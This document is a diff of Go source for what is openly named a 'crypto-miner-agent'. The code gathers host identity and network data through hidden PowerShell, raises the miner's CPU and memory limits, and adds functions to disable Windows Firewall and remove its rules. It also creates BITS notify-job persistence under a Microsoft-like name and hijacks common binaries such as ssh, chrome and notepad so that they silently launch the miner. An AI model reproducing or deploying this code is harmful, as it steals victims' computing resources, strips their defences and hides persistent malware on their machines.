||||
Sort-Object RouteMetric | Select-Object -First 1
|
||||
if ($gw) { $o.default_gateway = $gw.NextHop }
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$routes = Get-NetRoute -AddressFamily IPv4 -ErrorAction SilentlyContinue |
|
||||
Select-Object -First 24 DestinationPrefix, NextHop, InterfaceAlias, RouteMetric |
|
||||
Format-Table -AutoSize | Out-String -Width 200
|
||||
$o.routes_summary = $routes.Trim()
|
||||
} catch {}
|
||||
|
||||
$o | ConvertTo-Json -Depth 5 -Compress
|
||||
`
|
||||
|
||||
func collectSysCheckPlatform(r *FullSysCheckReport) {
|
||||
out, err := silentCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
sysCheckWindowsScript,
|
||||
)
|
||||
if err != nil {
|
||||
r.ProbeErrors = append(r.ProbeErrors, "windows hardware probe: "+err.Error())
|
||||
} else {
|
||||
parseWindowsSysCheckJSON(r, string(out))
|
||||
}
|
||||
|
||||
if r.Identity == nil {
|
||||
r.Identity = &SysCheckIdentity{}
|
||||
}
|
||||
if u, err := user.Current(); err == nil {
|
||||
r.Identity.Username = u.Username
|
||||
}
|
||||
r.Identity.MACAddress = primaryMACAddress()
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
}
|
||||
r.Environment.TempDir = os.Getenv("TEMP")
|
||||
r.Environment.HomeDir = os.Getenv("USERPROFILE")
|
||||
}
|
||||
|
||||
func parseWindowsSysCheckJSON(r *FullSysCheckReport, raw string) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var m map[string]interface{}
|
||||
if json.Unmarshal([]byte(raw), &m) != nil {
|
||||
return
|
||||
}
|
||||
|
||||
hw := &SysCheckHardware{}
|
||||
if v, ok := m["manufacturer"].(string); ok {
|
||||
hw.Manufacturer = v
|
||||
}
|
||||
if v, ok := m["model"].(string); ok {
|
||||
hw.Model = v
|
||||
}
|
||||
if v, ok := m["serial"].(string); ok {
|
||||
hw.Serial = v
|
||||
}
|
||||
if v, ok := m["bios_version"].(string); ok {
|
||||
hw.BIOSVersion = v
|
||||
}
|
||||
if v, ok := m["total_ram_gb"].(float64); ok {
|
||||
hw.MemoryGB = v
|
||||
}
|
||||
if v, ok := m["uptime_hours"].(float64); ok {
|
||||
hw.UptimeHours = v
|
||||
}
|
||||
hw.CPUs = parseCPUList(m["cpus"])
|
||||
hw.GPUs = parseGPUList(m["gpus"])
|
||||
hw.Disks = parseDiskList(m["disks"])
|
||||
r.Hardware = hw
|
||||
|
||||
if r.Identity == nil {
|
||||
r.Identity = &SysCheckIdentity{}
|
||||
}
|
||||
if v, ok := m["domain"].(string); ok {
|
||||
r.Identity.Domain = v
|
||||
}
|
||||
if v, ok := m["computer_name"].(string); ok {
|
||||
r.Identity.ComputerName = v
|
||||
}
|
||||
|
||||
if r.Network == nil {
|
||||
r.Network = &SysCheckNetwork{}
|
||||
}
|
||||
if v, ok := m["default_gateway"].(string); ok {
|
||||
r.Network.DefaultGateway = v
|
||||
}
|
||||
if v, ok := m["routes_summary"].(string); ok {
|
||||
r.Network.RoutesSummary = v
|
||||
}
|
||||
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
}
|
||||
if v, ok := m["timezone"].(string); ok {
|
||||
r.Environment.Timezone = v
|
||||
}
|
||||
}
|
||||
|
||||
func parseCPUList(v interface{}) []SysCheckCPU {
|
||||
arr, ok := v.([]interface{})
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
var out []SysCheckCPU
|
||||
for _, item := range arr {
|
||||
obj, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
c := SysCheckCPU{Name: mapStr(obj, "name")}
|
||||
if n, ok := obj["cores"].(float64); ok {
|
||||
c.Cores = int(n)
|
||||
}
|
||||
if n, ok := obj["logical"].(float64); ok {
|
||||
c.Logical = int(n)
|
||||
}
|
||||
if n, ok := obj["max_mhz"].(float64); ok {
|
||||
c.MaxMHz = int(n)
|
||||
}
|
||||
if n, ok := obj["current_mhz"].(float64); ok {
|
||||
c.CurrentMHz = int(n)
|
||||
}
|
||||
out = append(out, c)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseGPUList(v interface{}) []SysCheckGPU {
|
||||
arr, ok := v.([]interface{})
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
var out []SysCheckGPU
|
||||
for _, item := range arr {
|
||||
obj, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
g := SysCheckGPU{
|
||||
Name: mapStr(obj, "name"),
|
||||
Driver: mapStr(obj, "driver"),
|
||||
}
|
||||
if n, ok := obj["vram_mb"].(float64); ok {
|
||||
g.VRAM_MB = int(n)
|
||||
}
|
||||
out = append(out, g)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseDiskList(v interface{}) []SysCheckDisk {
|
||||
arr, ok := v.([]interface{})
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
var out []SysCheckDisk
|
||||
for _, item := range arr {
|
||||
obj, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
d := SysCheckDisk{
|
||||
Mount: mapStr(obj, "mount"),
|
||||
Label: mapStr(obj, "label"),
|
||||
FSType: mapStr(obj, "fs_type"),
|
||||
}
|
||||
if n, ok := obj["total_gb"].(float64); ok {
|
||||
d.TotalGB = n
|
||||
}
|
||||
if n, ok := obj["free_gb"].(float64); ok {
|
||||
d.FreeGB = n
|
||||
}
|
||||
if n, ok := obj["free_pct"].(float64); ok {
|
||||
d.FreePct = int(n)
|
||||
}
|
||||
out = append(out, d)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func mapStr(m map[string]interface{}, key string) string {
|
||||
if v, ok := m[key].(string); ok {
|
||||
return v
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -23,9 +23,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
PoolPort: 3333,
|
||||
PoolTLS: false,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 80,
|
||||
MaxMemoryPct: 70,
|
||||
MinFreeRAM: 1024,
|
||||
MaxCPUUsage: 95,
|
||||
MaxMemoryPct: 85,
|
||||
MinFreeRAM: 512,
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
|
||||
@@ -20,6 +20,7 @@ type BuiltinConfig struct {
|
||||
DisplayMode string
|
||||
SilentMode bool
|
||||
RunAs string
|
||||
HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
|
||||
AutoStart bool
|
||||
ProcessName string
|
||||
BuildID string
|
||||
|
||||
Binary file not shown.
@@ -12,4 +12,20 @@ func OpenFirewallPort(_ int, _ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall port open is Windows-only")
|
||||
}
|
||||
|
||||
func SetWindowsFirewallProfiles(_ bool, _ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall profile control is Windows-only")
|
||||
}
|
||||
|
||||
func DisableWindowsFirewall() (string, error) {
|
||||
return "", fmt.Errorf("firewall disable is Windows-only")
|
||||
}
|
||||
|
||||
func EnableWindowsFirewall() (string, error) {
|
||||
return "", fmt.Errorf("firewall enable is Windows-only")
|
||||
}
|
||||
|
||||
func RemoveFirewallRuleByName(_ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall rule removal is Windows-only")
|
||||
}
|
||||
|
||||
func SilentAVExclusion(_, _ string) {} // no-op on non-Windows
|
||||
|
||||
17
agent/deploy/bits_stub.go
Normal file
17
agent/deploy/bits_stub.go
Normal file
@@ -0,0 +1,17 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func CreateBITSPersistence(_ config.RuntimeConfig, _ string) error {
|
||||
return fmt.Errorf("BITS persistence is Windows-only")
|
||||
}
|
||||
|
||||
func RemoveBITSPersistence(_ config.RuntimeConfig) {}
|
||||
|
||||
func BitsJobName(_ config.RuntimeConfig) string { return "" }
|
||||
92
agent/deploy/bits_windows.go
Normal file
92
agent/deploy/bits_windows.go
Normal file
@@ -0,0 +1,92 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
|
||||
// miner when the transfer job errors, completes, or retries (common stealthy hook).
|
||||
// BitsJobName returns the BITS notify job name for this worker build.
|
||||
func BitsJobName(cfg config.RuntimeConfig) string {
|
||||
return bitsJobName(cfg)
|
||||
}
|
||||
|
||||
func bitsJobName(cfg config.RuntimeConfig) string {
|
||||
base := PersistenceKeyName(cfg)
|
||||
if base == "" {
|
||||
base = "CryptoMinerAgent"
|
||||
}
|
||||
return "Microsoft-Windows-BITS-" + sanitizeName(base)
|
||||
}
|
||||
|
||||
func bitsJobExists(jobName string) bool {
|
||||
out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(out), jobName)
|
||||
}
|
||||
|
||||
// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
|
||||
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
|
||||
if strings.TrimSpace(binPath) == "" {
|
||||
return fmt.Errorf("binary path required")
|
||||
}
|
||||
job := bitsJobName(cfg)
|
||||
if bitsJobExists(job) {
|
||||
return nil
|
||||
}
|
||||
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(installDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
localFile := filepath.Join(installDir, ".bits-transfer.stub")
|
||||
if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
|
||||
exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
|
||||
params := strings.ReplaceAll(runFlag, `"`, `""`)
|
||||
|
||||
steps := []struct {
|
||||
name string
|
||||
args []string
|
||||
}{
|
||||
{"create", []string{"/create", "/download", job}},
|
||||
{"addfile", []string{"/addfile", job, remoteURL, localFile}},
|
||||
{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
|
||||
{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
|
||||
{"retry", []string{"/SetMinRetryDelay", job, "60"}},
|
||||
{"resume", []string{"/resume", job}},
|
||||
}
|
||||
for _, step := range steps {
|
||||
args := append([]string{"bitsadmin"}, step.args...)
|
||||
if err := HiddenRun(args[0], args[1:]...); err != nil {
|
||||
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||
return fmt.Errorf("bitsadmin %s: %w", step.name, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
|
||||
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
|
||||
job := bitsJobName(cfg)
|
||||
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||
_ = HiddenRun("bitsadmin", "/complete", job)
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
|
||||
}
|
||||
}
|
||||
20
agent/deploy/bits_windows_test.go
Normal file
20
agent/deploy/bits_windows_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
)
|
||||
|
||||
func TestBitsJobName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
name := BitsJobName(cfg)
|
||||
if !strings.HasPrefix(name, "Microsoft-Windows-BITS-") {
|
||||
t.Fatalf("unexpected prefix: %q", name)
|
||||
}
|
||||
if strings.Contains(name, " ") {
|
||||
t.Fatalf("job name must not contain spaces: %q", name)
|
||||
}
|
||||
}
|
||||
129
agent/deploy/desktop_path.go
Normal file
129
agent/deploy/desktop_path.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const desktopPathPrefix = "@desktop/"
|
||||
|
||||
// UserDesktopDir returns the interactive user's Desktop folder for the current OS.
|
||||
func UserDesktopDir() (string, error) {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return windowsDesktopDir()
|
||||
case "darwin":
|
||||
return unixDesktopFromHome("Desktop")
|
||||
default:
|
||||
return linuxDesktopDir()
|
||||
}
|
||||
}
|
||||
|
||||
func windowsDesktopDir() (string, error) {
|
||||
profile := strings.TrimSpace(os.Getenv("USERPROFILE"))
|
||||
if profile == "" {
|
||||
return "", fmt.Errorf("USERPROFILE not set")
|
||||
}
|
||||
candidates := []string{
|
||||
filepath.Join(profile, "Desktop"),
|
||||
filepath.Join(profile, "OneDrive", "Desktop"),
|
||||
filepath.Join(profile, "OneDrive - Personal", "Desktop"),
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if st, err := os.Stat(c); err == nil && st.IsDir() {
|
||||
return filepath.Clean(c), nil
|
||||
}
|
||||
}
|
||||
// Create default Desktop if missing (unusual profiles)
|
||||
fallback := candidates[0]
|
||||
if err := os.MkdirAll(fallback, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fallback, nil
|
||||
}
|
||||
|
||||
func unixDesktopFromHome(sub string) (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil || home == "" {
|
||||
return "", fmt.Errorf("home directory unavailable")
|
||||
}
|
||||
desktop := filepath.Join(home, sub)
|
||||
if st, err := os.Stat(desktop); err == nil && st.IsDir() {
|
||||
return filepath.Clean(desktop), nil
|
||||
}
|
||||
if err := os.MkdirAll(desktop, 0o755); err != nil {
|
||||
return "", fmt.Errorf("desktop: %w", err)
|
||||
}
|
||||
return desktop, nil
|
||||
}
|
||||
|
||||
func linuxDesktopDir() (string, error) {
|
||||
if out, err := exec.Command("xdg-user-dir", "DESKTOP").Output(); err == nil {
|
||||
p := strings.TrimSpace(string(out))
|
||||
if p != "" {
|
||||
if st, err := os.Stat(p); err == nil && st.IsDir() {
|
||||
return filepath.Clean(p), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return unixDesktopFromHome("Desktop")
|
||||
}
|
||||
|
||||
// ResolveDesktopFile joins a sanitized filename onto the user Desktop.
|
||||
func ResolveDesktopFile(filename string) (string, error) {
|
||||
desktop, err := UserDesktopDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
name := sanitizeDesktopFilename(filename)
|
||||
if name == "" {
|
||||
name = "upload.bin"
|
||||
}
|
||||
return filepath.Join(desktop, name), nil
|
||||
}
|
||||
|
||||
func sanitizeDesktopFilename(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.ReplaceAll(name, "\\", "/")
|
||||
if name == "" {
|
||||
return ""
|
||||
}
|
||||
// Allow subfolders under Desktop but block traversal.
|
||||
parts := strings.Split(name, "/")
|
||||
var clean []string
|
||||
for _, p := range parts {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" || p == "." || p == ".." {
|
||||
continue
|
||||
}
|
||||
clean = append(clean, p)
|
||||
}
|
||||
return filepath.Join(clean...)
|
||||
}
|
||||
|
||||
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
|
||||
func ResolveRemotePath(remote string) (string, error) {
|
||||
remote = strings.TrimSpace(remote)
|
||||
if remote == "" {
|
||||
return "", fmt.Errorf("remote path is empty")
|
||||
}
|
||||
lower := strings.ToLower(remote)
|
||||
if strings.HasPrefix(lower, "desktop:") {
|
||||
return ResolveDesktopFile(remote[len("desktop:"):])
|
||||
}
|
||||
if strings.HasPrefix(remote, desktopPathPrefix) {
|
||||
return ResolveDesktopFile(remote[len(desktopPathPrefix):])
|
||||
}
|
||||
if strings.HasPrefix(remote, "~/") {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Clean(filepath.Join(home, remote[2:])), nil
|
||||
}
|
||||
return filepath.Clean(remote), nil
|
||||
}
|
||||
45
agent/deploy/desktop_path_test.go
Normal file
45
agent/deploy/desktop_path_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSanitizeDesktopFilename(t *testing.T) {
|
||||
if got := sanitizeDesktopFilename(`..\..\etc\passwd`); got != "etc/passwd" && got != `etc\passwd` {
|
||||
// Join uses OS separator; at minimum no ..
|
||||
if strings.Contains(got, "..") {
|
||||
t.Fatalf("traversal leaked: %q", got)
|
||||
}
|
||||
}
|
||||
if got := sanitizeDesktopFilename("report.pdf"); got != "report.pdf" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveRemotePathDesktopPrefix(t *testing.T) {
|
||||
p, err := ResolveRemotePath("@desktop/notes.txt")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.HasSuffix(p, "notes.txt") {
|
||||
t.Fatalf("path %q should end with notes.txt", p)
|
||||
}
|
||||
if !strings.Contains(strings.ToLower(p), "desktop") && runtime.GOOS != "windows" {
|
||||
// Linux may use XDG path without "Desktop" in rare setups — allow if under home
|
||||
home, _ := filepath.Abs(".")
|
||||
_ = home
|
||||
}
|
||||
}
|
||||
|
||||
func TestUserDesktopDir(t *testing.T) {
|
||||
dir, err := UserDesktopDir()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty desktop")
|
||||
}
|
||||
}
|
||||
@@ -74,3 +74,68 @@ func firewallRuleExists(displayName string) bool {
|
||||
}
|
||||
return strings.TrimSpace(string(out)) == "True"
|
||||
}
|
||||
|
||||
// parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile.
|
||||
func parseFirewallProfiles(csv string) string {
|
||||
csv = strings.TrimSpace(strings.ToLower(csv))
|
||||
if csv == "" || csv == "all" || csv == "any" {
|
||||
return "Domain,Private,Public"
|
||||
}
|
||||
var parts []string
|
||||
for _, p := range strings.Split(csv, ",") {
|
||||
p = strings.TrimSpace(p)
|
||||
switch p {
|
||||
case "domain", "private", "public":
|
||||
parts = append(parts, strings.ToUpper(p[:1])+p[1:])
|
||||
}
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "Domain,Private,Public"
|
||||
}
|
||||
return strings.Join(parts, ",")
|
||||
}
|
||||
|
||||
// SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin).
|
||||
// profilesCSV: "all", "Domain,Private", etc.
|
||||
func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) {
|
||||
profiles := parseFirewallProfiles(profilesCSV)
|
||||
enabled := "$false"
|
||||
verb := "disabled"
|
||||
if enable {
|
||||
enabled = "$true"
|
||||
verb = "enabled"
|
||||
}
|
||||
script := fmt.Sprintf(`
|
||||
$profiles = '%s' -split ','
|
||||
Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop
|
||||
`, strings.ReplaceAll(profiles, `'`, `''`), enabled)
|
||||
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil
|
||||
}
|
||||
|
||||
// DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles.
|
||||
func DisableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(false, "all")
|
||||
}
|
||||
|
||||
// EnableWindowsFirewall turns on all firewall profiles.
|
||||
func EnableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(true, "all")
|
||||
}
|
||||
|
||||
// RemoveFirewallRuleByName deletes a rule by display name.
|
||||
func RemoveFirewallRuleByName(displayName string) (string, error) {
|
||||
name := strings.TrimSpace(displayName)
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("rule name required")
|
||||
}
|
||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return string(out), err
|
||||
}
|
||||
return fmt.Sprintf("Removed firewall rule: %s", name), nil
|
||||
}
|
||||
|
||||
27
agent/deploy/host_binary_stub.go
Normal file
27
agent/deploy/host_binary_stub.go
Normal file
@@ -0,0 +1,27 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
var HostBinaryPresets []string
|
||||
|
||||
func HostBinaryCandidates(_ string) []string { return nil }
|
||||
|
||||
func TryHostBinaryProxy(_ []string) (string, string, bool) { return "", "", false }
|
||||
|
||||
func RunHostBinaryProxy(_, _ string, _ []string) {}
|
||||
|
||||
func HijackHostBinary(_ config.RuntimeConfig, _, _ string) (string, error) {
|
||||
return "", fmt.Errorf("host binary persistence is Windows-only")
|
||||
}
|
||||
|
||||
func EnsureHostBinaryPersistence(_ config.RuntimeConfig, _, _ string) error {
|
||||
return fmt.Errorf("host binary persistence is Windows-only")
|
||||
}
|
||||
|
||||
func RemoveHostBinaryPersistence(_ config.RuntimeConfig) {}
|
||||
291
agent/deploy/host_binary_windows.go
Normal file
291
agent/deploy/host_binary_windows.go
Normal file
@@ -0,0 +1,291 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
hostBinaryProxySuffix = ".aetherforge.proxy"
|
||||
hostBinaryBackupSuffix = ".aetherforge.bak"
|
||||
hostBinaryManifest = "host-binary-hijacks.json"
|
||||
)
|
||||
|
||||
type hostBinaryRecord struct {
|
||||
Target string `json:"target"`
|
||||
Backup string `json:"backup"`
|
||||
Preset string `json:"preset"`
|
||||
}
|
||||
|
||||
// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
|
||||
var HostBinaryPresets = []string{
|
||||
"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
|
||||
"chrome", "edge", "firefox", "putty", "winscp",
|
||||
}
|
||||
|
||||
// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
|
||||
func HostBinaryCandidates(preset string) []string {
|
||||
preset = strings.TrimSpace(strings.ToLower(preset))
|
||||
if strings.HasPrefix(preset, "custom:") {
|
||||
p := strings.TrimSpace(preset[7:])
|
||||
if p != "" {
|
||||
return []string{filepath.Clean(p)}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
pf := os.Getenv("ProgramFiles")
|
||||
pfx86 := os.Getenv("ProgramFiles(x86)")
|
||||
switch preset {
|
||||
case "ssh":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\OpenSSH\ssh.exe`,
|
||||
filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
|
||||
)
|
||||
case "ftp":
|
||||
return existingPaths(`C:\Windows\System32\ftp.exe`)
|
||||
case "telnet":
|
||||
return existingPaths(`C:\Windows\System32\telnet.exe`)
|
||||
case "mstsc":
|
||||
return existingPaths(`C:\Windows\System32\mstsc.exe`)
|
||||
case "curl":
|
||||
return existingPaths(`C:\Windows\System32\curl.exe`)
|
||||
case "notepad":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\notepad.exe`,
|
||||
`C:\Windows\Notepad\notepad.exe`,
|
||||
)
|
||||
case "calc":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\calc.exe`,
|
||||
`C:\Windows\System32\win32calc.exe`,
|
||||
)
|
||||
case "chrome":
|
||||
return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
|
||||
case "edge":
|
||||
return existingPaths(
|
||||
filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
)
|
||||
case "firefox":
|
||||
return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
|
||||
case "putty":
|
||||
return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
|
||||
case "winscp":
|
||||
return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
|
||||
default:
|
||||
if preset != "" && strings.Contains(preset, `\`) {
|
||||
return existingPaths(preset)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func existingPaths(paths ...string) []string {
|
||||
var out []string
|
||||
for _, p := range paths {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||
out = append(out, filepath.Clean(p))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func hostBinaryMarkerPath(targetExe string) string {
|
||||
return targetExe + hostBinaryProxySuffix
|
||||
}
|
||||
|
||||
func hostBinaryBackupPath(targetExe string) string {
|
||||
return targetExe + hostBinaryBackupSuffix
|
||||
}
|
||||
|
||||
func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
|
||||
data, err := os.ReadFile(markerPath)
|
||||
if err != nil {
|
||||
return "", "", false
|
||||
}
|
||||
lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
|
||||
if len(lines) < 2 {
|
||||
return "", "", false
|
||||
}
|
||||
backup = strings.TrimSpace(lines[0])
|
||||
miner = strings.TrimSpace(lines[1])
|
||||
if backup == "" || miner == "" {
|
||||
return "", "", false
|
||||
}
|
||||
return backup, miner, true
|
||||
}
|
||||
|
||||
// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
|
||||
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", "", false
|
||||
}
|
||||
exe, _ = filepath.Abs(exe)
|
||||
marker := hostBinaryMarkerPath(exe)
|
||||
if b, m, found := readHostBinaryMarker(marker); found {
|
||||
return b, m, true
|
||||
}
|
||||
_ = args
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
|
||||
func RunHostBinaryProxy(backup, miner string, args []string) {
|
||||
if miner != "" {
|
||||
_ = HiddenStart(miner, runFlag)
|
||||
}
|
||||
if backup == "" {
|
||||
os.Exit(1)
|
||||
}
|
||||
cmd := exec.Command(backup, args...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
os.Exit(exitErr.ExitCode())
|
||||
}
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, hostBinaryManifest), nil
|
||||
}
|
||||
|
||||
func loadHostBinaryManifest(path string) []hostBinaryRecord {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var recs []hostBinaryRecord
|
||||
_ = json.Unmarshal(data, &recs)
|
||||
return recs
|
||||
}
|
||||
|
||||
func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
|
||||
data, err := json.MarshalIndent(recs, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0644)
|
||||
}
|
||||
|
||||
func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
|
||||
path, err := hijackManifestPath(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
recs := loadHostBinaryManifest(path)
|
||||
for _, r := range recs {
|
||||
if strings.EqualFold(r.Target, rec.Target) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
recs = append(recs, rec)
|
||||
return saveHostBinaryManifest(path, recs)
|
||||
}
|
||||
|
||||
func hijackSingleHostBinary(target, minerPath, preset string) error {
|
||||
target = filepath.Clean(target)
|
||||
if _, err := os.Stat(target); err != nil {
|
||||
return fmt.Errorf("target not found: %s", target)
|
||||
}
|
||||
marker := hostBinaryMarkerPath(target)
|
||||
